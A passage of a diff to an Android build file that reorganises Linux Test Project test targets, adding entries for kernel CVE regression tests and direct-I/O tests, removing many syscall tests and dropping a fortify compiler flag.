-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/cve/cve-2017-16939.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fcntl02",
-    stem: "fcntl02",
+    name: "ltp_cve-2017-17052",
+    stem: "cve-2017-17052",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread03_64",
-    stem: "pread03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/pread",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl03_64",
-    stem: "fcntl03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_brkm",
-    stem: "tst_brkm",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+    srcs: ["testcases/cve/cve-2017-17052.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sendfile08_64",
-    stem: "sendfile08_64",
+    name: "ltp_cve-2017-17053",
+    stem: "cve-2017-17053",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile08.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl36_64",
-    stem: "fcntl36_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl36.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_res",
-    stem: "tst_res",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+    srcs: ["testcases/cve/cve-2017-17053.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_setgid01",
-    stem: "setgid01",
+    name: "ltp_cve-2017-2618",
+    stem: "cve-2017-2618",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgid/setgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setgid",
-        "include/old",
-    ],
+    srcs: ["testcases/cve/cve-2017-2618.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getegid01",
-    stem: "getegid01",
+    name: "ltp_cve-2017-2671",
+    stem: "cve-2017-2671",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getegid/getegid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/getegid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
+    srcs: ["testcases/cve/cve-2017-2671.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getegid02",
-    stem: "getegid02",
+    name: "ltp_data_space",
+    stem: "data_space",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getegid/getegid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/getegid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
+    srcs: ["testcases/kernel/mem/vmtests/data_space.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sched_driver",
-    stem: "sched_driver",
+    name: "ltp_delete_module01",
+    stem: "delete_module01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/delete_module/delete_module01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_delete_module02",
+    stem: "delete_module02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/delete_module/delete_module02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_delete_module03",
+    stem: "delete_module03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/delete_module/delete_module03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dio_append",
+    stem: "dio_append",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_append.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dio_sparse",
+    stem: "dio_sparse",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_sparse.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dio_truncate",
+    stem: "dio_truncate",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_truncate.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_diotest1",
+    stem: "diotest1",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/sched/sched_stress/sched_driver.c",
-        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/io/direct_io/diotest1.c",
+        "testcases/kernel/io/direct_io/diotest_routines.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-icmpv4_sender",
-    stem: "ns-icmpv4_sender",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-icmpv4_sender.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_tst_exit",
-    stem: "tst_exit",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_GNU_SOURCE",
+        "-DSHARED_OFILE",
     ],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fcntl32_64",
-    stem: "fcntl32_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl32.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_diotest2",
     stem: "diotest2",
     defaults: ["ltp_test_defaults"],
@@ -12446,7 +1771,6 @@
         "testcases/kernel/io/direct_io/diotest2.c",
     ],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_GNU_SOURCE",
         "-DSHARED_OFILE",
     ],
@@ -12455,1027 +1779,78 @@
 }
 
 cc_test {
-    name: "ltp_setfsuid01",
-    stem: "setfsuid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setfsuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setuid01",
-    stem: "setuid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setuid/setuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setuid03",
-    stem: "setuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setuid/setuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setuid02",
-    stem: "setuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setuid/setuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setuid04",
-    stem: "setuid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setuid/setuid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat03_64",
-    stem: "stat03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/stat",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat05_64",
-    stem: "fstat05_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat05.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl02_64",
-    stem: "fcntl02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate01_64",
-    stem: "ftruncate01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/ftruncate",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getgroups01",
-    stem: "getgroups01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getgroups/getgroups01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/getgroups",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftest03",
-    stem: "ftest03",
+    name: "ltp_diotest3",
+    stem: "diotest3",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/fs/ftest/libftest.c",
-        "testcases/kernel/fs/ftest/ftest03.c",
+        "testcases/kernel/io/direct_io/diotest3.c",
+        "testcases/kernel/io/direct_io/diotest_routines.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl13_64",
-    stem: "fcntl13_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl13.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl35_64",
-    stem: "fcntl35_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl35.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresuid02",
-    stem: "setresuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresuid/setresuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setresuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl14_64",
-    stem: "fcntl14_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl14.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl19_64",
-    stem: "fcntl19_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl19.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lstat02_64",
-    stem: "lstat02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_flush",
-    stem: "tst_flush",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
+        "-DSHARED_OFILE",
     ],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_swapon01",
-    stem: "swapon01",
+    name: "ltp_diotest5",
+    stem: "diotest5",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/syscalls/swapon/swapon01.c",
-        "testcases/kernel/syscalls/swapon/libswapon.c",
+        "testcases/kernel/io/direct_io/diotest_routines.c",
+        "testcases/kernel/io/direct_io/diotest5.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat01_64",
-    stem: "stat01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat01.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/stat",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl12_64",
-    stem: "fcntl12_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl12.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_GNU_SOURCE",
+        "-DSHARED_OFILE",
     ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_swapon02",
-    stem: "swapon02",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/swapon/libswapon.c",
-        "testcases/kernel/syscalls/swapon/swapon02.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_lstat01_64",
-    stem: "lstat01_64",
+    name: "ltp_diotest6",
+    stem: "diotest6",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
+    srcs: [
+        "testcases/kernel/io/direct_io/diotest6.c",
+        "testcases/kernel/io/direct_io/diotest_routines.c",
     ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_get_unused_port",
-    stem: "tst_get_unused_port",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_GNU_SOURCE",
+        "-DSHARED_OFILE",
     ],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sendfile05_64",
-    stem: "sendfile05_64",
+    name: "ltp_dirty",
+    stem: "dirty",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile05.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-udpclient",
-    stem: "ns-udpclient",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-udpclient.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_pwritev01_64",
-    stem: "pwritev01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwritev/pwritev01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/pwritev",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_geteuid02",
-    stem: "geteuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/geteuid/geteuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/geteuid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_migrate_pages01",
-    stem: "migrate_pages01",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/migrate_pages/migrate_pages01.c",
-        "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_migrate_pages02",
-    stem: "migrate_pages02",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/migrate_pages/migrate_pages02.c",
-        "testcases/kernel/syscalls/migrate_pages/migrate_pages_common.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fcntl27_64",
-    stem: "fcntl27_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setfsuid02",
-    stem: "setfsuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setfsuid/setfsuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setfsuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid07",
-    stem: "setreuid07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid06",
-    stem: "setreuid06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid05",
-    stem: "setreuid05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid04",
-    stem: "setreuid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid03",
-    stem: "setreuid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid02",
-    stem: "setreuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setreuid01",
-    stem: "setreuid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setreuid/setreuid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setreuid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getgid01",
-    stem: "getgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getgid/getgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/getgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl08_64",
-    stem: "fcntl08_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl08.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getgid03",
-    stem: "getgid03",
-    defaults: ["ltp_test_defaults"],
